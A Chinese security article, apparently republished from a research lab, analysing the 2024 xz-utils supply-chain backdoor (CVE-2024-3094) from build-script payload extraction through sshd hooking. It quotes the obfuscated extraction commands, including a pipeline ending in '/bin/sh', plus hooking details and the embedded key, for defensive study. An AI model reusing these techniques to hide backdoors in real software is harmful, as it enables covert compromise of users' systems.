freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

xz-utils 后门代码分析
2024-04-29 15:54:04

1 前言

xz-utils是一种使用 LZMA 算法的数据压缩/解压工具,文件后缀名通常为*.xz,是 Linux 下广泛使用的压缩格式之一。

2024.03.29 由微软工程师 Andres Freund 披露了开源项目 xz-utils 存在的后门漏洞,漏洞编号为 CVE-2024-3094,其通过供应链攻击的方式劫持 sshd 服务的身份认证逻辑,从而实现认证绕过和远程命令执行,该后门涉及 liblzma.so 版本为 5.6.0 和 5.6.1,影响范围包括 Debian、Ubuntu、Fedora、CentOS、RedHat、OpenSUSE 等多个主流 Linux 发行版,具体影响版本主要是以上发行版的测试版本和实验版本。

截止本文发布,距离 xz-utils 后门披露已经过去一段时间,全球安全研究人员在互联网上发布了大量的高质量分析报告,这有助于我们对于xz-utils后门事件有一个全面的理解。本文将以这些分析报告为基础,进行翻译、整理和复现,并针对xz-utils后门代码部分展开分析研究,以了解攻击者的技术方案和实施细节,从而在防御角度提供一定的技术支持。

本文实验环境

Debian 12 x64
xz-utils/liblzma.so 5.6.1
IDA / GDB

2 xz-utils后门概要

xz-utils 源代码托管在 Github上,根据后门相关代码的提交记录可以定位攻击者是 Github 用户 JiaT75,其花费了近两年时间潜伏在 xz-utils 项目中,不断的为该项目贡献代码(最早可追溯到2022.02.07第一次提交代码),最终获得 xz-utils 仓库的直接维护权限,为构建后门打下了基础。

攻击者将后门目标定向至 sshd 服务,这能使后门在具备隐蔽性的同时产生更大的攻击效益,不过默认情况下 sshd 服务和 xz-utils 并没有联系;部分 Linux 发行版(以Debian为例)在openssh-server中引入了libsystemd0依赖,用于 sshd 进程和守护进程 systemd 进行通信,而libsystemd0依赖了liblzma5,于是构建后门拥有了一条可行路径,如下:

image

图2-1 sshd间接依赖liblzma5
在 sshd 服务的「证书验证」身份认证逻辑中,其关键函数RSA_public_decrypt()*会使用公钥对用户发送的数据进行签名验证,签名验证成功则表示身份认证成功;攻击者则通过 liblzma5 实现对RSA_public_decrypt()*函数的劫持替换,在替换的函数中内置了自己的公钥,并在认证成功后提供了命令用于执行功能,以此方式实现了后门,如下:

image

图2-2 `RSA_public_decrypt()`身份认证函数
攻击者为了实现对RSA_public_decrypt()*函数的劫持替换,同时保持整个过程的隐蔽性和后门的兼容性,使用了非常复杂的实施方案,具体实施过程可大致分为三个环节:

  1. liblzma5编译环节:攻击者将后门代码隐藏在 xz-utils 源码中,并修改编译脚本,在编译时将后门代码添加到liblzma5.so库中;

  2. sshd启动环节:sshd启动时将间接加载liblzma5.so库,通过 IFUNC 和 rtdl-audit 机制实现对RSA_public_decrypt()*函数的劫持替换;

  3. RSA_public_decrypt()*后门生效环节:攻击者使用私钥签名证书,使用证书连接 sshd 服务进行身份认证,触发RSA_public_decrypt()*后门代码;

实施过程如下:

image

图2-3 后门植入的实施概要
下文我们将着重分析这三个环节的具体实施过程。

3 分析环境配置

首先我们搭建分析环境,由于 xz-utils 后门事件披露后各 Linux 发行版为降低影响范围对 xz-utils/liblzma.so 进行了版本回退,以及攻击者只在 tarball 中分发包含后门代码的项目源码(即与 Github 项目主页的代码不一致,增加后门代码的隐蔽性),因此我们需要在下游发行版指定 commit 才能获取包含后门代码的源代码(xz-utils-debian),或者通过 web-archive下载 xz-utils 的 tarball 源代码。

下载并解压源码后,使用如下命令编译 xz-utils 项目:

# [xz-utils] source directory
$ ./configure
$ make

编译成功后会生成[src]/src/liblzma/.libs/liblzma.so.5.6.1目标二进制文件,包含后门代码的 liblzma5.so 尺寸明显大于正常版本,如下:

image

图3-1 编译liblzma5.so以及比较

4 编译脚本环节

攻击者将后门代码隐藏在xz-utils的源码中,并通过控制编译脚本的运行,实现源代码在编译过程中将后门代码植入到liblzma5.so库。这一步骤是后门植入的切入点,也是代码层面整个攻击流程的起点。流程示意图如下:

image

图4-1 编译脚本环节流程图
1.build-to-host.m4

首先我们关注后门编译脚本[src]/m4/build-to-host.m4文件,这是 m4 宏文件,其将随着configure && make命令进行宏展开并执行,AC_DEFUN(gl_BUILD_TO_HOST_INIT)的代码将最先被执行,如下:

image

图4-2 build-to-host脚本查找后门文件
这里通过grep命令查找文件内容符合#{4}[[:alnum:]]{5}#{4}$特征的后门文件,即[src]/tests/files/bad-3-corrupt_lzma2.xz,测试执行如下:

image

图4-3 查找bad-3-corrupt_lzma2.xz后门文件
2.bad-3-corrupt_lzma2.xz

随后执行AC_DEFUN(gl_BUILD_TO_HOST)的代码,这里先对系统环境进行检查和适配,随后从bad-3-corrupt_lzma2.xz后门文件中提取文件内容,关键代码如下:

image

图4-4 bad-3-corrupt_lzma2.xz提取内容
结合上下文,该行代码实际执行如下,使用sed命令读取bad-3-corrupt_lzma2.xz文件内容,使用tr命令按[\t -_]=>[ \t_-]的对应关系进行字符替换,随后使用xz命令进行解压:

sed "r\n" bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d

解压后将获得 bash 脚本文件helloworld.sh,其内容如下:

image

图4-5 bad-3-corrupt_lzma2.xz提取的脚本
这里使用AC_CONFIG_COMMANDS注册了build-to-host命令,后续调用该命令时就会执行eval $gl_config_gt代码,即helloworld.sh脚本文件。

3.good-large_compressed.lzma

helloworld.sh脚本同样先对环境进行了检查,随后使用xz命令解压[src]/tests/files/good-large_compressed.lzma后门文件,使用headtail命令截取文件内容,再次使用tr命令对内容进行字符替换,最后使用xz命令对嵌套的文件进行解压,整理后的关键命令如下:

xz -dc $srcdir/tests/files/good-large_compressed.lzma |
eval $i |
tail -c +31233 |
tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377") |
xz -F raw --lzma1 -dc |
/bin/sh

此处通过xz -F raw --lzma1 -dc命令解压将得到新的 bash 脚本文件decompressed.sh

4.decompressed.sh
decompressed.sh这个脚本的代码较长,大多为环境检查和兼容性调整,最关键的代码有三段,第一段代码如下:

image

图4-6 decompressed.sh脚本grep预埋代码
依然是熟悉的操作,使用grep在源代码文件夹中寻找匹配规则的文件内容,通过cut命令截取内容,通过tr命令按字符替换,最后使用xz命令解压。但在源代码文件夹中我们没有发现符合规则的文件,这可能是攻击者为后续攻击预埋的代码。

脚本中grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null处代码同理。

5.liblzma_la-crc64-fast.o

第二段代码生成的目标二进制文件liblzma_la-crc64-fast.o如下:

image

图4-7 decompressed.sh脚本生成`liblzma_la-crc64-fast.o`
此处$p=good-large_compressed.lzma$i为上文中的head命令截取文件内容的代码,对截取的内容再通过 RC4 解密获得压缩文件,通过xz命令解压最终获得目标二进制文件liblzma_la-crc64-fast.o,如下:

image

图4-8 `liblzma_la-crc64-fast.o`文件信息
6.crc64_fast.c

第三段代码则对源码crc64_fast.c进行了修改,将后门的入口代码添加在此处,如下:

image

图4-9 decompressed.sh脚本修改`crc64_fast.c`源码

这里crc32_fast.c为了保证更好的兼容性,不再进行赘述。

通过diff命令来查看crc64_fast.c源码的修改,如下:

image

图4-10 修改`crc64_fast.c`源码
对比代码可以看到攻击者使用_is_arch_extension_supported()替换了原始函数is_arch_extension_supported(),在内联函数_is_arch_extension_supported()中调用了外部函数_get_cpuid()

而外部函数_get_cpuid()正隐藏在liblzma_la-crc64-fast.o中,攻击者使用如下编译命令,将后门二进制文件liblzma_la-crc64-fast.o和修改后的crc64_fast.c源码编译进原本的liblzma_la-crc64_fast.o目标文件中(注意下划线的微小差异):

$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c -  $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null

对比正常版本下的liblzma_la-crc64_fast.o,我们可以发现明显大小差异:

image

图4-11 `liblzma_la-crc64_fast.o`比较
而随后包含后门代码的liblzma_la-crc64_fast.o将自然而然的被编译链接到库文件liblzma5.so中,完成后门的植入工作。

5 sshd启动环节

sshd 服务启动时将间接加载liblzma5.so库,通过 IFUNC 和 rtdl-audit 机制实现对RSA_public_decrypt()*函数的劫持替换,这是后门执行的入口点。流程示意图如下:

image

图5-1 sshd启动环节流程图
我们可以使用LD_PRELOAD/LD_LIBRARY_PATH来指定 sshd 加载恶意的liblzma5.so库,由于后门代码还对环境变量进行了检查,我们还需要使用env -i清空环境变量;完整的动态调试执行命令如下:

# cp xz-utils-5.6.1/src/liblzma/.libs/liblzma.so.5.6.1 liblzma.so.5
$ su root
$ env -i LD_LIBRARY_PATH=/home/debian/xz/ /usr/sbin/sshd -D -p 2222

此处注意LD_LIBRARY_PATH需要使用绝对路径,避免子进程无法找到指定的恶意liblzma.so.5

执行如下:

image

图5-2 动态调试加载恶意`liblzma.so`
1.IFUNC函数
通过上文后门植入的过程分析,我们可以看到后门执行的入口点位于crc64_fast.ccrc64_resolve()函数下,后门代码如下:

......
lzma_resolver_attributes
static crc64_func_type
crc64_resolve(void)
{
return _is_arch_extension_supported()
			? &crc64_arch_optimized : &crc64_generic;
}
......
#ifdef CRC_USE_IFUNC
extern LZMA_API(uint64_t)
lzma_crc64(const uint8_t *buf, size_t size, uint64_t crc)
		__attribute__((__ifunc__("crc64_resolve")));
#else
......

lzma_crc64()是一个指向crc64_resolve()IFUNC函数,IFUNC 是一种动态函数的实现方案,由动态加载器调用并绑定具体的函数,这个时机甚至早于 GDB 的catch load异常断点,无法通过常规断点动态调试此处代码逻辑。

这里通过二进制补丁的方式打断点,使用objdump -D liblzma.so.5 | grep crc64_resolve找到函数偏移,修改函数的第一个字节为0xCC从而打下断点,其函数调用栈如下:

image

图5-3 `IFUNC-crc64_resolve`函数调用栈

GDB 调试断在此处后,需要手动使用set {char}0x7ffff74a2ea0=0x55, set $rip=0x7ffff74a2ea0命令恢复原始指令push ebp和重置$rip,随后才可以进行正常调试。

在 IDA 中分析crc64_resolve()函数,也就是lzma_crc64()函数,其中get_cpuid()是后门代码的入口调用点,如下:

image

图5-4 `lzma_crc64`函数代码
逐步跟入get_cpuid()函数至sub_4764(),该函数使用 GOT 表重写的方式修改了cpuid()函数地址,这里调用cpuid()实际调用了sub_21240()/backdoor_init_stage2()函数,为静态分析制造了一定的难度,如下:

image

图5-5 `sub_4764`函数代码
2.backdoor_init_stage2

在 IDA 中跳到sub_21240()/backdoor_init_stage2()函数,其关键代码片段如下:

image

图5-6 `backdoor_init_stage2`函数代码
其中sub_12020()/backdoor_vtbl_init()用于后门初始化全局函数调用表,如下:

image

图5-7 `backdoor_vtbl_init`函数代码
sub_21C90()/parse_elf_init()则是后门初始化的主函数,主要通过解析 ELF 文件格式找到目标函数进行劫持替换(由于此处函数代码调用处于 IFUNC 的调用生命周期中,因此导入导出表尚未加载);该函数代码量较大,我们找几处关键点进行分析。

3.check_conditions

首先跟入sub_12E00()其内部调用sub_12920()/check_conditions()函数进行运行环境检查,首先检查进程名是否为/usr/sbin/sshd,随后对环境变量进行检查,如下:

image

图5-8 `check_conditions`函数代码
通过分析trie_getkey()表项数据,这里检查了环境变量不能包含以下项:

DISPL_AY=
LD_AUDIT=
LD_BIND_NOT=
LD_DEBUG=
LD_PROFILE=
LD_USE_LOAD_BIAS=
LINES=
TERM=
WAYLAND_DISPL_AY=
yolAbejyiejuvnup=Evjtgvsh5okmkAvj

4.process_shared_libraries_map
随后跟入sub_16590()其内部调用sub_149B0()/process_shared_libraries_map()函数解析目标 so 库的基地址,如下:

image

图5-9 `process_shared_libraries_map`函数代码
其解析的 so 库按序如下:

sshd
ld-linux-x86-64.so
liblzma.so
libcrypto.so
libsystemd.so
libc.so

5.注册rtld-audit

后续代码则根据 so 库再进一步解析目标函数的地址。更为关键的代码在sub_21240()/backdoor_init_stage2()+0x207c处,这里通过构造audit_ifaces结构体向动态装载器(ld.so)手动注册审计函数symbind64(),如下:

image

图5-10 构造`audit_ifaces`结构体注册审计函数
symbind64()将在动态加载器(ld.so)每次装载导出函数时被调用,攻击者则瞄准这个时机实现对目标函数的劫持替换,除此之外LD_AUDIT的执行时机早于LD_PRELOAD,能够绕过部分安全检测机制。

这实际使用了 rtld-audit机制,等价于在常规开发中的编写审计功能库,定义并实现la_symbind64函数,常规使用环境变量进行加载如LD_AUDIT=./audit.so ./test

按照如上分析,我们动态调试在sub_ABB0()/install_hook()函数处打下断点,此时函数调用栈如下:

image

图5-11 `rtld-audit`调用流程中的`install_hook`函数

由于 rtld-audit 机制被调用时也非常早,这里我们很难打下断点,比较简单的方式是在未开启地址随机化的情况下,先运行一次程序,然后按照sub_ABB0()函数的偏移地址使用hbreak打下硬件断点,重新运行即可断下。

6.install_hook
跟入sub_ABB0()/install_hook()函数,其通过trie_getkey()比较当前函数名称是否为目标函数,若匹配则使用 hook 函数对其进行替换,如下:

image

图5-12 `install_hook`函数对目标函数进行hook
攻击者在这里设置了如下三个 hook 函数来提高成功率,其中任一函数 hook 成功后则退出,并调用sub_CFA0()清理 rtld-audit 的痕迹。

RSA_public_decrypt()
EVP_PKEY_set1_RSA()
RSA_get0_key()

到这里攻击者就实现了对认证函数的劫持替换,完成了后门代码的安装工作。

6 后门代码执行环节

攻击者虽然设置了三个 hook 函数,但由于RSA_public_decrypt()libcrypto.so中最靠前,所以优先级最高,本文我们主要分析RSA_public_decrypt_hook()的代码。该环节的流程示意图如下:

image

图6-1 后门代码执行环节流程图
RSA_public_decrypt()函数位于 sshd 服务身份认证的证书认证流程中,我们可以使用ssh-keygen命令生成并签名一个证书用于测试:

# 生成 test_ca 公私钥
ssh-keygen -t rsa -b 4096 -f test_ca -C test_ca
# 生成 user_key 公私钥
ssh-keygen -t rsa -b 4096 -f user_key -C user_key
# 使用 test_ca 对 user_key 生成证书
ssh-keygen -s test_ca -I test@test.com -n test-user -V +52w user_key.pub
# 查看证书信息
ssh-keygen -L -f user_key-cert.pub
# 使用证书连接服务器进行认证
ssh -i user_key-cert.pub debian@10.0.25.194 -p 2222

ssh的三种身份认证:1.密码认证;2.公私钥认证;3.证书认证

使用 GDB 在sub_164B0()/RSA_public_decrypt_hook()处打下断点,ssh 客户端使用证书认证连接服务器,此时调用栈如下:

image

图6-2 `RSA_public_decrypt_hook`函数调用栈
跟入sub_164B0()/RSA_public_decrypt_hook()的代码,关键代码为调用后门主函数代码sub_16710()/hook_main(),随后根据后门代码的执行结果,按需执行原始的RSA_public_decrypt()函数,回归正常的身份认证逻辑,如下:

image

图6-3 `RSA_public_decrypt_hook`函数代码
sub_16710()/hook_main()函数中,首先从认证报文中提取密钥 n,e 等信息并对报文结构进行检查,如下检查协议报文 magic number 计算结果小于等于 3,这也是攻击命令的取值:

image

图6-4 `hook_main`函数检查报文magic number
随后调用sub_23650()/decrypt_ed448_public_key()函数获取内置在后门代码中的public-key公钥,公钥在其内部使用chacha20加密隐藏,这里进行解密:

image

图6-5 `decrypt_ed448_public_key`函数代码
此处解密后的 ED448 公钥内容为:

0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00

后门代码中多处使用 chacha20 解密,其keyiv根据相关上下文进行确定。

随后调用sub_14320()/verify_ed448_signature()使用公钥对签名进行验证:

image

图6-6 调用`verify_ed448_signature`进行签名验证
通过签名验证后还会进行复杂的检查条件,最终在sub_16710()/hook_main()+0xb75处调用system()执行命令:

image

图6-7 调用system执行命令

7 总结

在本文中,我们围绕着 xz-utils 后门代码的整个生命周期进行分析研究,沿着后门代码的执行路径,从liblzma.so的编译阶段到sshd服务的启动阶段,分别复现了其后门的植入和安装工程,随后从后门关键函数RSA_public_decrypt()入手,分析了后门代码的执行流程和攻击意图。

通过以上 xz-utils 的后门代码分析可以看到攻击者具有高水平的技术能力,而这仍是管中窥豹,我们仅仅只是对后门代码的主流程进行分析研究,根据互联网上的多份技术报告剖析,攻击者在代码混淆、反调试、sshd日志隐藏、反汇编引擎等方面,也精心进行设计和实现;同时在代码之外攻击者也表现得非常专业,精心挑选攻击目标,再通过长期的潜伏、伪装获得信任,最终获得代码仓库的权限。而这些方方面面都还值得我们进一步的挖掘和研究。

8 References

  1. https://github.com/tukaani-project/xz

  2. https://www.openwall.com/lists/oss-security/2024/03/29/4

  3. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-3094

  4. https://mp.weixin.qq.com/s/CFuqNN36M9DgO1FAGVy5GA

  5. https://github.com/JiaT75

  6. https://github.com/tukaani-project/xz/commits?author=JiaT75

  7. https://packages.debian.org/trixie/openssh-server

  8. https://salsa.debian.org/debian/xz-utils/-/tree/46cb28adbbfb8f50a10704c1b86f107d077878e6

  9. https://web.archive.org/web/

  10. https://github.com/tukaani-project/xz/releases/download/

  11. https://sourceware.org/glibc/wiki/GNU_IFUNC

  12. https://www.agner.org/optimize/blog/read.php?i=167

  13. https://gist.github.com/q3k/3fadc5ce7b8001d550cf553cfdc09752

  14. https://elixir.bootlin.com/glibc/latest/source/sysdeps/generic/ldsodefs.h#L237

  15. https://man7.org/linux/man-pages/man7/rtld-audit.7.html

  16. https://gynvael.coldwind.pl/?lang=en&id=782

  17. https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504

  18. https://github.com/luvletter2333/xz-backdoor-analysis

  19. https://securelist.com/xz-backdoor-story-part-1/112354/

  20. https://github.com/binarly-io/binary-risk-intelligence/tree/master/xz-backdoor

  21. https://github.com/amlweems/xzbot

作者:0x7F@知道创宇404实验室
原文链接:https://paper.seebug.org/3157/

# 漏洞分析 # 经验心得
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录